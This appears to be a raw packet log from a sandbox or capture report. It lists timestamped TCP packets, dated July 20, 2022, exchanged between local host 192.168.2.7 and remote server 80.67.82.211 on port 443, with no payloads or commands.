Jul 20, 2022 19:31:07.662794113 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.662813902 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.662826061 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.662909031 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.662919044 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.662935972 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.662949085 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.662955999 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663017035 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.663027048 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663084030 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.663093090 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663110971 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663126945 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.663136005 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.663141966 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663150072 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663203955 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.663213015 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663258076 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.663264036 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663281918 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663311958 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.663319111 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663335085 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663372040 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.663381100 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663434029 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.663440943 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663453102 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663496971 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.663502932 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663561106 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.663570881 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663603067 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663626909 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.663635969 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663707972 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663723946 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.663783073 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.663795948 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663811922 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663844109 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.663846016 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663878918 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.663882017 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663902044 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663923979 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663954020 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.663963079 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.663991928 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.663995981 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664012909 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664019108 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664058924 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664083004 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664118052 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664166927 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664185047 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664196014 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664207935 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664218903 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664253950 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664263010 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664269924 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664316893 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664336920 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664369106 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664377928 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664397001 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664412975 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664424896 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664437056 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664443016 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664468050 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664473057 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664525032 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664551020 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664588928 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664617062 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664637089 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664660931 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664702892 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664710045 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664737940 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664762020 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664805889 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664834023 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664865017 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664911032 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664938927 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664951086 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.664992094 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.664997101 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665009975 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665024042 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665036917 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665045023 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665098906 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665100098 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665113926 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665116072 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665147066 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665159941 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665165901 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665190935 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665215015 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665242910 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665299892 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665332079 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665364027 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665395975 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665401936 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665422916 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665426016 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665437937 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665448904 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665455103 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665519953 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665553093 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665560007 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665604115 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665608883 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665626049 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665632010 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665651083 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665704012 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665728092 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665734053 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665739059 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665755987 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665757895 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665790081 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665796041 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665816069 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665818930 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665844917 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665849924 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665885925 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665914059 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665916920 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.665925980 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665949106 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.665955067 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666007996 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666018009 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666039944 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666054010 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666100025 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666107893 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666131020 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666140079 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666186094 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666193008 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666214943 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666244030 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666275024 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666285038 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666305065 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666316986 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666322947 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666362047 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666369915 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666399002 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666405916 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666457891 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666465998 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666482925 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666511059 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666539907 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666549921 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666569948 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666575909 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666583061 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666635036 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666642904 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666654110 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666665077 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666696072 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666709900 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666728020 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666745901 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666768074 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666774035 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666780949 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666835070 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666835070 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666848898 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666870117 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666910887 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666918993 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666948080 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.666954041 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.666971922 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.667011023 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.698642015 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.698669910 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.698699951 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.698718071 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.698872089 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.698887110 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.698904037 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.698935986 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.698973894 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.699086905 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.699723005 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.699969053 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.700733900 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.700754881 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.863082886 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.863115072 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.863136053 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.863208055 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.863218069 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.863296032 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.863305092 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.863321066 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.863393068 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.863400936 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.863424063 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.863451004 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.863460064 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.863528967 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.863538980 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.863581896 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.863593102 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.863615036 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.863662004 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.863671064 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.863729954 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.863739967 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.863792896 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.863804102 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.863831997 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.863848925 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.863858938 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.863949060 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.863970041 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.863991022 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.864010096 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.864023924 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.864049911 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.864111900 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.864125013 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.864168882 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.864274979 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.864289045 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.864304066 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.864316940 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.864442110 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.864458084 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.864530087 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.881561041 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.881587029 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.881696939 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.882039070 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.882050991 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.882071018 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.882220030 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.882230043 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.882244110 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.882251024 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.882281065 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.882287025 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.882385015 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.882392883 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.882409096 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.882422924 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.882462978 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.882468939 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.882556915 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.882565022 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.882580996 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.882711887 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.882720947 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.882740021 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.882760048 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.882764101 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.882847071 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.882854939 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.882946968 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.882955074 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.883009911 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.883017063 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.883070946 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.883128881 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.883878946 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.883889914 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.883912086 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.884105921 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.884118080 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.884131908 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.884150982 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.884169102 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.884175062 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.884273052 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.884280920 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.884293079 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.884388924 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.884397030 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.884540081 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.884550095 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.884562016 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.884579897 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.884644032 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.884732008 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.884742022 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.884758949 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.884866953 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.886034966 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.886053085 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.886075020 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.886234045 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.886620998 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.886631012 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.886641026 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.886652946 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.886693001 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.886701107 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.886821985 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.886831045 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.886842012 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.886857033 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.886878014 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.886882067 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.886885881 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.886948109 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.886956930 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.887054920 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.887065887 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.887114048 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.887120008 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.887178898 CEST	50589	443	192.168.2.7	80.67.82.211
